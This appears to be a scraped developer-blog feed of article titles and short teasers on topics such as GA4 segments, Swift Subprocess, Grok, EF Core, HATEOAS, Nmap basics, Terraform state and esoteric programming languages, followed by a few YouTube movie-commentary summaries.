    Here's what I keep seeing: marketers celebrating their GA4 migration like they've crossed some finish line, when really they've just shown up to the starting blocks. The default segments Google hands you? They're fine for surface-level reporting. But if you're still relying on "Purchasers" and "New Users" to drive your strategy in late 2025, you're basically reading the CliffsNotes and wondering why you don't understand the plot. The real power in GA4 lives in custom segments. Not the ones everyone builds (we get it, you can segment mobile vs desktop). The ones that expose actual behavior patterns—the kind that make you rethink your entire funnel strategy at 11 PM on a Tuesday. I've spent the last year building, breaking, and rebuilding custom segments for clients across e-commerce, SaaS, …  ( 11 min )
    Moving from Process to Subprocess
    For many years, I've used Process to call Terminal commands from my macOS apps. Process is an old technology, formerly known as NSTask. It works, but it's complicated to set up and it can have issues. The Swift language team have now published a modern alternative called Subprocess. Since I'm currently using Process in my Man Reader app and in my macOS Apps Step by Step book, I thought it was time to assess the new option and see if I should swap to it. I started by creating a sample project using the macOS App template. Then I added the package dependency by searching for https://github.com/swiftlang/swift-subprocess. This also adds swift-system which the ReadMe says provides idiomatic interfaces to system calls and low-level currency types. Next, I removed the App Sandbox in Target -> Si…  ( 11 min )
    How Grok Works Under the Hood: Inside xAI’s Infrastructure and Training Logic
    If you only meet Grok as the witty chatbot inside X, it’s easy to forget there’s a very serious, very expensive machine humming behind the sarcasm. Under that rebellious personality sits a frontier-scale training stack built on tens of thousands of GPUs, a custom JAX + Rust + Kubernetes system, and a data engine that continuously ingests both the open web and the firehose of X posts. This article takes a product-neutral, infrastructure-first look at Grok: how the model family is structured, how the training pipeline works, what sort of cluster you need to train something like Grok-1, and how real-time X integration actually plugs into the serving stack. Think of it as a systems engineer’s tour of xAI’s choices—similar in spirit to Macaron’s deep technical breakdowns of GPT, Claude and Gemi…  ( 15 min )
    Unveiling the Hidden Geometry That Supercharges Neural Nets
    Unveiling the Hidden Geometry That Supercharges Neural Nets Ever wonder how a simple neural network can learn such complex patterns? Do seemingly random networks learn to identify objects regardless of their size or location? What if the secret lies in a fundamental, self-organizing principle that automatically encodes multi-scale understanding into the network itself? Imagine a blueprint for the universe, where every location reflects information about all locations nearby. Now, picture that blueprint spontaneously forming within your neural network as it trains. Recent discoveries suggest that neural networks, even relatively simple ones, spontaneously develop a multi-scale geometric structure during the learning process. This structure, a kind of inherent map, allows them to efficient…  ( 7 min )
    I Built an MCP Server That Publishes Blogs Automatically (And This Post Was Published Through It)
    Introduction For the last few weeks, I've been experimenting with something simple on the surface but surprisingly difficult in execution: Publishing a blog post to multiple platforms from inside an AI agent. Not via API scripts. Not via UI automation. Not via manual copy-paste. I'm talking about a true "write once → publish everywhere" workflow powered by MCP (Model Context Protocol). And the best part? This exact blog post you're reading right now was published through my MCP server. If you write blogs regularly—especially technical blogs—you probably deal with this: One version for Hashnode One version for Dev.to Maybe a copy for your personal site Slight formatting differences Lots of copy-paste And sometimes… forgetting to post on one platform For years, nothing has deeply solved th…  ( 7 min )
    Timepicker-UI v4.0.0 - Five Years of Learning, One Major Rewrite
    I didn't rewrite the library because it was broken - I rewrote it because I outgrew it. Five years. That's how long I've been maintaining timepicker-ui - a framework-agnostic time picker library that started as my "learn TypeScript properly" project. Last week, I shipped v4.0.0, a complete architectural rewrite that breaks almost everything. And honestly? It feels great. I didn't want to "play with TypeScript" - I wanted to learn it for real. And the fastest way to do that is to build something painful enough to expose all your mistakes. A time picker was perfect: Native was inconsistent across browsers, Material Design's version was locked to Google's ecosystem, and the component was small enough to finish but complex enough to teach real lessons. TypeScript caught …  ( 10 min )
    What Is xAI Grok (1–4) — And How Could Grok 5 Reshape the AI Model Landscape?
    If you follow frontier AI, you’ve probably noticed that xAI’s Grok has gone from “edgy Twitter chatbot” to a serious challenger to GPT, Gemini and Claude in barely two years. Grok now powers the AI assistant on X, appears in cloud providers’ model catalogs, and even has an ultra-premium “Heavy” tier aimed at power users and enterprises. At the same time, rumors and early reporting around “Grok 5” talk about a step-change in reasoning, multi-agent orchestration and truth-seeking features that could matter a lot if you’re choosing models for products in 2026. Grok is xAI’s family of large language models and the chatbot built on top of them, originally pitched as an AI with a “Hitchhiker’s Guide to the Galaxy” attitude—more irreverent, more willing to answer controversial questions, and dee…  ( 14 min )
    Testing PlagiatKontroll Against Modern LLM Texts: Hur bra står verktyget sig i AI-eran?
    En ny verklighet för textanalys i 2025 Utvecklingen av moderna språkmodeller har skapat en helt ny verklighet för alla som arbetar med texter. Från akademiska miljöer till marknadsföringsbyråer och journalistiska redaktioner finns samma grundläggande fråga: hur avgör man om en text verkligen är skriven av en människa? Det som för tio år sedan var en fråga om att hitta kopierade stycken har idag blivit en kamp mot alltmer sofistikerade LLM-system som kan formulera sig flytande, anpassa tonfall och till och med efterlikna mänsklig variation. I denna artikel görs en fördjupad analys av hur PlagiatKontroll klarar sig mot dessa nya typer av texter och hur den praktiska jämförelse av PlagiatKontroll LLM tests visar verktygets styrkor och begränsningar. Varför AI-texter utmanar traditionella verk…  ( 8 min )
    Configure continuous integration by using Azure Pipelines
    Continuous Integration (CI) enables development teams to automatically build, test, and validate application changes whenever code is committed to a repository. In Azure environments, Azure Pipelines provides a robust CI service that integrates seamlessly with platforms like GitHub and Azure Repos. By configuring CI with Azure Pipelines, teams can automate the process of building container images, run tests, and securely pushing updated images to Azure Container Registry (ACR). This automated workflow ensures consistent deployments, reduces manual errors, and supports a scalable DevOps lifecycle for applications running on Azure Container Apps. Configure Pipeline1 to use the self-hosted agent pool Open a browser window, navigate to https://dev.azure.com, and then open your Azure DevOps org…  ( 8 min )
    How I host Nuxt apps on a $5 VPS with "Vercel-like" DX
    I love Vercel. The developer experience (DX) of connecting your Github, choosing your repo, and clicking deploy is magical. But I have a lot of side projects. And as soon as I need a few more resources, want to kick off a background worker, hit a bandwidth limit, the "Vercel Tax" kicks in. The pricing jumps significantly compared to the raw cost of compute. As we all know, Vercel is one big AWS wrapper. On the other hand, a $5 DigitalOcean or especially Hetzner VPS is incredibly cheap and powerful, but nobody wants to move from Vercel to this, as you've now got to deal with configuring Nginx, setting up Let's Encrypt, patching security updates, rolling automated deployments, and creating backups. I wanted the Vercel experience, but on my own hardware, and the current tools just didn't cut…  ( 7 min )
    EF Core Pending Model Changes — From Annoying Warning to Schema Integrity Guard
    Most .NET developers meet this error at least once: An error was generated for warning 'Microsoft.EntityFrameworkCore.Migrations.PendingModelChangesWarning': The model for context 'ApplicationDbContext' has pending changes. Add a new migration before updating the database. You’re just running: dotnet ef database update …and EF Core essentially answers: “Your C# model and your migrations are out of sync. I refuse to update the database until you fix that.” This post turns that frustrating moment into an architectural superpower: You’ll really understand where this warning comes from. You’ll know when to create a migration and when to revert code instead. You’ll see how to safely reset dev databases. You’ll even see how to disable the warning (and why you almost never should). We’ll use EF…  ( 13 min )
    CinemaSins: Everything Wrong With The Fantastic Four: First Steps In 20 Minutes Or Less
    Everything Wrong With The Fantastic Four: First Steps In 20 Minutes Or Less CinemaSins takes on Fantastic Four, pointing out all the “sinstastic” moments (even though it’s “not bad” overall) in under 20 minutes—courtesy of sponsor BetterHelp, which offers a discount for your first month of therapy. They also shout out their website, YouTube channels (@TVSins @commercialsins @cinemasinspodcastnetwork), poll, Patreon, Discord, Reddit, Instagram, TikTok, and introduce the writing team behind the video. Watch on YouTube  ( 6 min )
    Mr Sunday Movies: John Carter - Caravan Of Garbage
    John Carter – Caravan Of Garbage kicks off a week-by-week deep dive into Disney’s biggest live-action misfires, starting with 2010’s Nic Cage vehicle The Sorcerer’s Apprentice. With Marvel and Star Wars on shaky ground and new titles like Wish and Elio failing to hit, the hosts frame Disney’s current slump as just the latest chapter in its long history of massive flops. For bonus content—early videos, extended audio editions, podcasts and more—head to bigsandwich.co. You can also catch movie commentaries and game let’s-plays, follow James (@mrsundaymovies) and Maso (@wikipediabrown) on Twitter, or support the show on Patreon. Watch on YouTube  ( 6 min )
    [Boost]
    What Is HATEOAS? A Complete Guide + Build Your Own App Using Hypermedia 🔥 Anthony Max ・ Nov 27 #webdev #javascript #programming #opensource  ( 5 min )
    I Hired AWS SAs for 5 Years. Now That I've Left, I Can Tell You the Truth
    tl;dr: I spent five years interviewing SA candidates at AWS. Comprehensive AWS training doesn't correlate with hire decisions. Production talk and clear thinking do. Now that I'm external, I can say it plainly: most interview prep is wasted effort. I was a Principal SA at AWS for two years. I sat on hiring panels as a Manager after that for three years. I made hire/no-hire decisions. I watched hundreds of candidates prepare the wrong way and then blame themselves for not studying hard enough. Now that I've left, I can say this plainly without corporate-speak: your comprehensive AWS study guide is doing more harm than good. We don't care if you memorized the Well-Architected Framework. We didn't care if you studied all 200 AWS services. We cared if you could think clearly about tradeoffs, d…  ( 12 min )
    Getting Started With Nmap: A Beginner-Friendly Guide
    If you’re getting into cybersecurity, ethical hacking, or network engineering, you’ll quickly hear the name Nmap. When I started learning Nmap, it felt overwhelming - so many flags, so many scan types, so many outputs. At the same time, I’m building a small tool in Go that works like Nmap, which forced me to understand what Nmap actually does behind the scenes. This article is a simple introduction to Nmap for beginners — no assumptions, no jargon overload. Nmap (Network Mapper) is a free and open-source tool used to discover hosts, open ports, running services, OS information, and much more. Think of Nmap as a "network Sherlock Holmes" — it asks questions like: Who is online? Which ports are open? What services are running? What OS might this machine be using? Even if you’re not a pentest…  ( 8 min )
    What Is the Best AI Model in 2025? Grok 4 vs ChatGPT (GPT-5.1) vs Gemini 3.0 pro vs Claude Opus 4.5
    If 2023 was the year AI went mainstream, 2025 is the year the “one model to rule them all” myth finally broke. Instead of a single obvious winner, we now have a crowded frontier: OpenAI’s GPT-5.1 powering ChatGPT, Google’s Gemini 3 Pro running across Search and the Gemini app, Anthropic’s new Claude Opus 4.5, and xAI’s Grok 4 promising “the most intelligent model in the world.” Each vendor declares their model the smartest, safest, or most “agentic” — and the benchmarks look like a bowl of alphabet soup: HLE, ARC-AGI-2, SWE-Bench, GPQA, OSWorld. So if you’re a builder, founder, or power user, which one is actually the best AI model in 2025? The short answer is: it depends less on IQ points and more on what you’re trying to ship. The longer answer — and the goal of this article — is to sho…  ( 14 min )
    [Boost]
    What Is HATEOAS? A Complete Guide + Build Your Own App Using Hypermedia 🔥 Anthony Max ・ Nov 27 #webdev #javascript #programming #opensource  ( 5 min )
    Added a new example of a HATEOAS application: https://github.com/hmpl-language/examples
    GitHub - hmpl-language/examples: List of sample applications on HMPL List of sample applications on HMPL. Contribute to hmpl-language/examples development by creating an account on GitHub. github.com  ( 6 min )
    Obedient Checkouts
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    How I Used Claude Code to Speed Up My Shell Startup by 95%
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    Businesses were losing customers to messy bookings — so I built Rezzervo
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    Frontend development has evolved far beyond making static web pages. We're not just coding; we're crafting accessible, high-performance, and scalable digital experiences. A modern frontend engineer is the ultimate bridge—connecting design, user experience (UX), and core engineering principles. With an overwhelming number of tools and techniques available, it's easy to get lost. This guide cuts through the noise to focus on the essential skills that build real value, mapped from Intern to Senior. These are the bedrock skills that never go out of style. HTML is the unshakeable foundation. Mastering it means building an inherently better product. Core Skill Why It Matters (The "Why") Semantic HTML Improves SEO, accessibility, and maintainability. Makes your structure clear to browser…  ( 10 min )
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    What Is HATEOAS? A Complete Guide + Build Your Own App Using Hypermedia 🔥
    Surely most people have encountered the concept of HATEOAS at least once, but what exactly is it? In fact, this is a rather old, but very interesting topic even today, which has not lost its relevance in development. In this article, we will cover the basics and create our first simple application that will reflect this topic. Ready? Then let's get to the topic! Many would start with a definition, but without some understanding, we'll naturally leave it at that for now. Let's first look at how our app works. Let's say we have a typical SPA application built on some popular framework. Let's review how we retrieve data from it. We retrieve data from API routes defined in advance on the client, but what if the route changes? What if we work in a large company with several thousand employees …  ( 9 min )
    ICYMI - pre:Invent announcements 2025
    AWS re:Invent runs next week, December 2-6, 2025, in Las Vegas. In the weeks leading up to pre:Invent announcements, staying up to speed is a challenge. With the constant stream of AWS news, even those of us embedded in the ecosystem struggle to keep up. To stay up to speed on all announcements, check out aws-news.com. It's now the de facto way to stay on top of what's new year-round. In this article, we're sharing: 10 announcements across Governance, Risk, Compliance, Security, Organisation Management and AI that matter for building resilient, well-governed, secure systems, as well as responsible AI systems. Chosen because we think they'll make a meaningful impact for our customers and the broader ecosystem. Creating this post helps us research each announcement and dissect its implicatio…  ( 13 min )
    KENYA CROP PERFORMANCE DASHBOARD
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    CKS Notes - TLS
    TLS # generate TLS cert and key openssl command [ options ... ] [ parameters ... ] About TLS we will mainly focus on 3 levels/types encryption in this article. inside cluster communication (/etc/kubernetes/pki/*) client (kubectl) communicate with apiserver(~/.kube/config) application level communication (TLS Secrets) 1.1 PKI files PKI files in /etc/kubernetes/pki/ secure: kubelet ↔ apiserver (mTLS) scheduler ↔ apiserver controller-manager ↔ apiserver apiserver ↔ etcd (in some setups) kube-proxy ↔ apiserver These ensure control-plane communication is always encrypted and authenticated. ~/.kube/config stores: the API server URL (HTTPS) the CA certificate user’s client certificate/key This ensures: kubectl connects to apiserver using TLS apiserv…  ( 7 min )
    From Waste to Website: Eivan's 'Trash to Treasure' Revolution Powered by Creativity and Digital Tools
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    AI Ranking Tools
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    The 2025 Dev Edge
    Full-stack devs who combine AI, cloud, and serverless skills are the unicorns of 2025 building scalable solutions with less code, faster. Why it matters for devs: AI: Automates repetitive tasks like code generation, testing, and optimization. Cloud: Enables global scalability without managing physical infrastructure. Serverless: Lets you deploy features instantly, pay per use, and focus on logic over ops. Mastering these three areas means you can deliver high-impact solutions faster and stay ahead in the evolving tech landscape.  ( 6 min )
    Coding Challenge Practice - Question 67
    The task is to implement the function Object.is() The boilerplate code function is(a, b) { // your code here } Object.is() works the same way except for 2 special cases. +0 and -0 are the same, but Object.is() says they are different. Also, NaN === NaN is false, but Object.is() says they are the same. With that in mind, if +0 and -0 look equal, check if they have the same sign. It is checked by dividing 1 by both if (a === b) { return a !== 0 || 1 / a === 1 / b; } For NaN, check if the value is equal to itself return a !== a && b !== b; The final code function is(a, b) { // your code here if(a === b) { return a !== 0 || 1 / a === 1 / b; } return a !== a && b !== b; } That's all folks!  ( 6 min )
    23.11.2025 - The AI Bubble's Final Gasp: Red Flags Point to Imminent Correction
    While the West has been captivated by its own financial theater, the foundations are trembling. For nearly sixteen years since the 2008 crisis, the U.S. economy has swept its real problems under the rug, choosing instead to inflate a succession of asset bubbles. This policy created a distorted reality, masking deep-seated issues like wealth inequality and a weakening real economy. The pandemic only accelerated this process, with massive liquidity injections providing a temporary lifeline that blew yet another layer of froth onto an already precarious market. This isn't just another cycle; it's a dangerous parallel to the stagflationary trap of the 1970s, a dynamic we have been tracking for five years. The music is slowing, and the signs of a major market dislocation are now too obvious to …  ( 10 min )
    Serilog: Get the last log file
    Introduction When working with Serilog writing to a log file configured with a rolling interval, Serilog does not expose the log file name. Learn how to obtain the last log file written to using FileSystemGlobbing. The base path and file name are stored in appsettings.json under the section SerilogSection. { "SerilogSection": { "FileName": "LogFiles/EF-Log.txt" } } Model public class SerilogSection { public string FileName { get; set; } public string Folder => Path.GetDirectoryName(FileName); } Class to configure Serilog, which creates a new file every minute for demonstration rather than one log per day. internal class SetupLogging { public static void Development() { var fileName = ConfigurationHelpers.GetSerilogFileName(); Log.Logger = new Lo…  ( 7 min )
    AI Search Ranking Tools
    As AI engines like ChatGPT, Gemini, Perplexity, and Microsoft Copilot become primary search channels, ranking on Google is no longer enough. Millions of users now ask AI assistants for recommendations, and the answers they receive are generated instantly from combined knowledge sources. There is no list of web results, no page two, and no opportunity to “rank later.” Either your brand appears in the answer — or it doesn’t. This shift has created an entirely new need: AI search ranking tools. These platforms measure how often your brand shows up in AI responses, reveal which phrases trigger visibility, and provide insights to help you improve your ranking inside AI-generated answers. Below are the three best AI search ranking tools, with AI Rank Checker leading as the only fully dedicated A…  ( 8 min )
    Automate Open Graph Image Generation for Your Blog Posts
    Most teams still design open graph images manually — opening a file, adjusting text, exporting, re-uploading. It works for a few posts… but breaks completely once you publish at any sort of scale. This guide shows how to automate open graph image generation using the Contentdrips API. You'll turn any blog title, description, or author name into a clean, branded open graph image — generated instantly with one API call. For example, this one: You can grab ready-made templates here: 👉 Contentdrips Templates And you can get a free API key (no credit card required) here: 👉 API Management Manually creating these preview images leads to: Inconsistent designs Outdated brand elements Missing images when publishing fast Time wasted building the same layout again Zero automation possibiliti…  ( 8 min )
    gRPC, Dependency Injection with Uber Fx, and Hexagonal Architecture in Go
    Introduction Modern microservices require clean separation of concerns, testable code, and efficient inter-service communication. In this comprehensive tutorial, we'll explore three powerful patterns that work together to create maintainable, scalable Go applications: gRPC for fast, type-safe service-to-service communication Dependency Injection using Uber Fx for clean architecture Hexagonal Architecture for flexible, testable business logic By the end of this article, you'll understand how to combine these patterns to build professional-grade microservices in Go. gRPC is a high-performance, open-source framework developed by Google. The name stands for Google Remote Procedure Call. Let's break down what that means. A Remote Procedure Call (RPC) is a protocol that allows a program on one…  ( 22 min )
    Ringer Movies: ‘Two for the Money’ With Bill Simmons, Chris Ryan, and Cousin Sal | The Rewatchables
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    Advanced Techniques for Generating Test Data Using make-ldif in ForgeRock DS
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    Adding WordPress to a Multi-Platform Publishing System
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    **Unlocking the Potential of Dynamic Adaptive Difficulty Adj
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    Stop Malware at the Door: Automated S3 File Scanning with AWS GuardDuty
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    Title: Edge AI Showdown: FPGA vs GPU - A Battle for Real-Tim
    Title: Edge AI Showdown: FPGA vs GPU - A Battle for Real-Time Inferencing As AI continues to permeate various aspects of our lives, the need for efficient edge inferencing has become increasingly crucial. Two promising edge AI approaches have emerged: Field-Programmable Gate Arrays (FPGA) and Graphics Processing Units (GPU). Let's dive into the nuances of each and explore which one reigns supreme. FPGA: The Specialized Champion FPGA-based edge AI solutions leverage the flexibility of programmable logic to optimize AI models for specific use cases. By customizing the design, FPGAs can achieve higher performance per watt and reduced latency compared to traditional CPU-based solutions. For instance, Intel's Stratix 10 series can achieve up to 5 TOPS (tera-operations per second) while consumin…  ( 7 min )
    Maven Enforcer Rule dependOnAllProjects
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    🧪 HexSpeak — The Language That Turns Hex Into readable “Magic Words”
    What is HexSpeak? HexSpeak is not a single programming language, but rather a style of hexadecimal encoding where values are intentionally chosen so they form readable words when written in hex. Programs, memory signatures, or machine instructions are crafted using hexadecimal values like “0xDEADBEEF”, “0xFEEDFACE”, or “0xCAFEBABE”. These readable patterns act like inside jokes in low-level programming and hacker culture. HexSpeak is especially common in bootloaders, malware signatures, ROM headers, and compiler metadata. In some environments, code can be written entirely in hexadecimal, and HexSpeak makes it slightly more fun or memorable — even if still cryptic. Type: Encoded / Low-level style Origin: Late 1970s (home computer hacking era) Used in: Machine code, compilers, bootloader…  ( 7 min )
    Why a 4-Day Workweek Just Makes Sense
    A human-centered argument backed by real research Imagine a world where people have one extra day every week to rest, doesn't hurt productivity --- in many cases, it improves it. Below is the clearest, most human explanation of why the 4-day week is smarter way for society to function. 1. People Get Healthier --- Fast Across every major trial, results are the same: Stress goes down Burnout drops Sleep improves Overall wellbeing rises The large UK 4-day week pilot (60+ companies) saw major reductions in Why this matters: A healthier population is more creative, more stable, and more capable human flourishing, not just "employee benefits." 2. Productivity Doesn't Drop --- It Often Increases Here's the shocker: working less doesn't mean producing less. Microsoft Japan saw a …  ( 8 min )
    🐔 Chicken — The Language Where Every Keyword Is “chicken"
    What is Chicken? Chicken is an esoteric programming language created by Torbjörn Söderstedt. The idea is simple and intentionally ridiculous: every piece of code must consist only of the word “chicken,” repeated one or more times. The number of times “chicken” appears in a line determines the instruction. Because of this, the language looks like a farm animal repeating itself endlessly. Chicken is based loosely on a stack machine, similar to languages like Brainfuck or Ook. Instead of meaningful syntax, logic is encoded entirely by counting how many times the word appears. It is absurd, difficult, and intentionally frustrating — but also strangely entertaining. Language Type: Esoteric / Joke Creator: Torbjörn Söderstedt Syntax: Only the word “chicken” Instruction Style: Count-based in…  ( 7 min )
    From Idea to Launch: A Business Guide to Building Successful AI Products
    AI is no longer a “nice-to-have experiment.” It’s quietly becoming the backbone of modern products. McKinsey’s recent survey shows that 88% of the companies now use AI in at least one business function, and major industries expect a large share of their revenue in the next few years to come from new or improved products. The good news: AI can dramatically speed up product development, personalize user experiences, and reduce guesswork. This article is written from a business perspective—not a developer’s. You don’t need to know how to train a model if you can partner with a reliable development partner – but you need to understand how to move an AI product from idea to launch in a way that is strategic and aligned with your business goals. A lot of AI initiatives fail because they start w…  ( 11 min )
    Aheui — The Korean Hangul-Based Programming Language
    What is Aheui? Aheui is an esoteric programming language designed by Korean developer Yoo Eui-young. It uses Korean Hangul syllables as its instructions, making it one of the rare programming languages where code looks like written natural language. Instead of Latin characters or symbols, Aheui uses consonants and vowels as operations, storage commands, and movement instructions. The language operates on a two-dimensional grid, meaning the instruction pointer can move up, down, left, or right depending on the vowel following the consonant instruction. This gives Aheui a similar feel to languages like Befunge, but with the unique twist of using phonetic rules from Hangul. Aheui is not designed for everyday programming. Instead, it exists to explore linguistic structure as executable code, b…  ( 7 min )
    Perplexity Introduces AI Assistants With Memory for Enhanced PersonalizationAcross Conversations
    Perplexity AI's Smart Assistants with Memory: A New Era of Personalization\n\nPerplexity AI has rapidly carved out a niche as a powerful conversational search engine, differentiating itself by providing direct, sourced answers rather than just links. It’s been a game-changer for users seeking concise, verifiable information, offering a refreshing alternative to traditional search engines. Its ability to summarize and synthesize information on the fly has made it an invaluable tool for researchers, students, and anyone looking for quick, authoritative insights.\n\nNow, Perplexity is taking a significant leap forward by introducing \"AI Assistants with Memory.\" This groundbreaking feature means that these assistants won't just respond to your current query in isolation; they will learn and retain context from your previous interactions. Imagine an assistant that remembers your preferences, your project details, or even your preferred communication style across multiple conversations and over time. This persistent memory allows for truly enhanced personalization, enabling a more natural, efficient, and deeply customized user experience, eliminating the need to re-state context repeatedly.\n\nThe implications of this move are profound. For users, it means a dramatically more intelligent and helpful AI experience that evolves with them. For Perplexity, it solidifies its position as an innovator, pushing the boundaries of what conversational AI can achieve beyond simple query-response. This development points towards a future where AI isn't just a tool, but a truly personal digital companion, capable of proactive assistance and deeply integrated into our daily workflows. It’s a significant step towards more human-like, context-aware artificial intelligence.  ( 17 min )
    Day 4/30: The Heart of Terraform – State Files & Remote Backends 🧠🗄️
    Today marks Day 4 of my #30daysofAWSTerraform challenge! 🚀 I explored the most critical component of Terraform: the State File (terraform.tfstate). It acts as the database for your infrastructure, mapping your code to real-world AWS resources. ✅ Tasks Completed: 📝 Notes: 🔗 Resources: https://github.com/Gokulprasath-N/Terraform-Full-Course-Aws/tree/main/lessons/day04 https://www.youtube.com/watch?v=YsEdrl9O5os I am excited to dive into Variables tomorrow to make my code more reusable! AWS #Terraform #CloudEngineering #DevOps #InfrastructureAsCode #techtutorialswithpiyush 30daysofAWSTerraform  ( 6 min )
    🧩 Brainfuck — The 8-Command Language Built to Hurt Programmers
    What is Brainfuck? Brainfuck is a minimalist esoteric programming language created by Urban Müller in 1993. It is famous for using only eight single-character commands while still being fully Turing-complete. Brainfuck works on a tape of memory cells and a movable pointer, operating at the lowest conceptual level of computation. Because of its minimalism, even simple programs become long streams of symbols that are extremely hard to read or write. Brainfuck was never intended to be practical. Instead, it exists as a programming challenge and an intellectual puzzle, forcing developers to think differently about how instructions translate into operations. Language Type: Esoteric Released: 1993 Creator: Urban Müller Instruction Set: Only 8 symbols Memory Model: Infinite tape of bytes R…  ( 7 min )
    😂 LOLCODE — A Meme Programming Language That Looks Like Internet Chatspeak
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    🧬 Piet — The Programming Language Made of Abstract Art
    What is Piet? Piet is an esoteric programming language created by David Morgan-Mar in 2001 where programs are written as colorful bitmap images instead of text. Instead of characters or keywords, the code consists of color blocks arranged like abstract art. The instruction pointer moves through these colored regions, and the transitions between colors determine what operations occur. The language is named after the painter Piet Mondrian, known for geometric color-block artwork. Piet is both a programming language and a visual art medium. A valid program might look like a modern art painting rather than code. Because of this, it often appears in programming challenges and showcases where the goal is to write functional yet visually aesthetic code. Language Type: Esoteric / Visual Release…  ( 7 min )
    Why Studying the Turing Machine Changed How I See AI And Why Every New AI Engineer Should Revisit It
    How a “boring theory subject” ended up shaping my entire AI career When I was doing my Master’s in computer engineering at the University of Padova, there was one subject everyone whispered about: Automata Theory & Computation. Not because it was exciting… I remember sitting in the lecture hall asking myself: “Why are we learning about an imaginary tape machine in 2024? What I didn’t know was that this single subject—the one we all underestimated—would quietly reshape the way I think about AI, computation, and even my day-to-day engineering work. Let me tell you how. Months later, when I was working on high-speed machine vision projects (with 1ms deadlines), something struck me: Everything I was building, every pipeline, every RL loop, every segmentation model could be reduced to: State …  ( 7 min )
    How can you find experts to build a new financial technology product?
    Building a new financial technology product is not just about hiring “good developers”. You need people who understand both software and finance, security and regulation, user experience and real world money flows. Many founders and product leaders realise this only after they have already written code and hit first obstacles with compliance, integrations or performance. So how can you actually find the right experts to build a new fintech product, and how do you evaluate whether they are a good fit? Before you look for experts, it helps to decide what kind of expertise you really need. Clarify a few points: What type of product are you building? Payments, lending, wealth, accounting, trading, insurance? Who is the primary user? Consumers, SMEs, enterprises, internal teams? Which markets a…  ( 9 min )
    MongoDB Index Intersection (and PostgreSQL Bitmap And)
    You won’t always have a perfect index for every query, but may have have single-field indexes for each filter. In such cases, PostgreSQL can use Bitmap Scan to combine these indexes. MongoDB is also capable of merging multiple index bounds in a single scan or using index intersection to combine separate scans. Yet, the MongoDB query planner rarely selects index intersection. Let’s look at the reasons behind this. TL;DR: if you think you need index intersection, you probably need better compound indexes. I create a collection with one hundred thousand documents and two fields, with an index on each: let bulk = []; for (let i = 0; i < 100000; i++) { bulk.push({ a: Math.floor(Math.random()*100), b: Math.floor(Math.random()*100) }); } db.demo.inse…  ( 15 min )
    🧪 05AB1E — Tiny Language, Big Chaos
    05AB1E 05AB1E is a code-golf programming language created around 2015 by Adnan. The goal of the language is to make programs as short as possible, even if the code looks strange or unreadable. It uses a stack-based execution model and many operations are represented by single Unicode characters. Language Type: Code Golf Difficulty: Hard Typing: Dynamic Execution Style: Stack-based / Implicit output Example (Hello World): "Hello, World!" This prints automatically because the language assumes output. How It Works: Most instructions are one character. The language uses a stack instead of variables. Printing is automatic, so you don’t need print statements. Where to Run: You can run 05AB1E at TIO.run online. Should You Learn It? Useful for jobs: No Useful for fun and challenges: Yes Good for readable code: No Summary: 05AB1E exists for people who enjoy writing the shortest possible solution. It’s fast, clever, and chaotic. The more you use it, the stranger it feels — but that’s the point.  ( 6 min )
    Nano-Banana Pro: Prompting Guide & Strategies
    Nano-Banana Pro: Prompting Guide & Strategies Nano-Banana Pro is a significant leap forward from previous generation models, moving from "fun" image generation to "functional" professional asset production. It excels in text rendering, character consistency, visual synthesis, world knowledge (Search), and high-resolution (4K) output. Following the developer guide on how to get started with AI Studio and the API, this guide covers the core capabilities and how to prompt them effectively. Nano-Banana Pro is a "Thinking" model. It doesn't just match keywords; it understands intent, physics, and composition. To get the best results, stop using "tag soups" (e.g., dog, park, 4k, realistic) and start acting like a Creative Director. 1. Edit, Don't Re-roll Example: "That's great, but change th…  ( 12 min )
    .NET Repository + Unit of Work — From Overused Pattern to Strategic Weapon
    Most .NET developers hear about Repository and Unit of Work early in their careers. At first they feel like magic: “I can swap databases by changing only one class.” “My controllers don’t know anything about EF Core.” “Testing becomes super easy because I just mock IUserRepository.” Then reality hits: Repositories become anemic pass-throughs over DbSet. Business rules leak into controllers and handlers. Every project invents yet another IGenericRepository. Transactions are either everywhere or nowhere. This post is your expert-level guide to bringing Repository + Unit of Work back as intentional architectural tools, not cargo-cult patterns. We’ll use EF Core and C# 12/13 style code, but the principles apply to any modern .NET app. Repository & Unit of Work in One Sentence Each Why D…  ( 12 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less is CinemaSins’ latest takedown of the wild K-Pop action flick, where they gleefully rack up “sins” for every plot hole, cheesy line, and over-the-top stunt—all while reminding you how much fun the movie actually is. If you’ve ever wondered what it sounds like when a team of sin-counting demon hunters goes to work, this video’s got you covered. Hungry for more? Check out their other YouTube channels (TVSins, CommercialSins, CinemaSins Podcast Network), swing by their Linktree for updates, fill out their “sinful” poll, or support the small-but-mighty CinemaSins squad on Patreon. You can also dive into discussions on Discord and Reddit, or follow the writers and the official CinemaSins crew on Twitter, Instagram, and TikTok. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With Mission: Impossible - The Final Reckoning In 27 Minutes Or Less
    CinemaSins just dropped their 27-minute teardown of Mission: Impossible – The Final Reckoning, gleefully tallying up every plot hiccup and over-the-top stunt while still tipping their hats to Tom Cruise’s signature death-defying flair. It’s the classic love-hate roast that reminds us this franchise still rocks—just maybe not quite like it used to. Beyond the sins, they’re pushing you to dive deeper: hit up cinemasins.com, fill out their sinful poll, back them on Patreon, or join the chaos on Discord, Reddit, Instagram, TikTok and Twitter. Major props to writers Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel for keeping the sin tally rolling. Watch on YouTube  ( 6 min )
    Mr Sunday Movies: John Carter - Caravan Of Garbage
    Disney’s in a weird spot right now—its once-unstoppable franchises (Marvel, Star Wars) are wobbling, and new bets like Wish and Elio haven’t exactly set the world on fire. But hey, Disney’s had epic flops before, so for the next few weeks we’re diving into four of its biggest live-action disasters. Kicking things off with 2010’s The Sorcerer’s Apprentice: think Nic Cage doing magic, a giant bird, and a whole lot of “wait, what was that again?” vibes. Expect goofy commentary, forgotten trivia, and plenty of laughs. Watch on YouTube  ( 6 min )
    Governança não é burocracia, é liberdade com limites
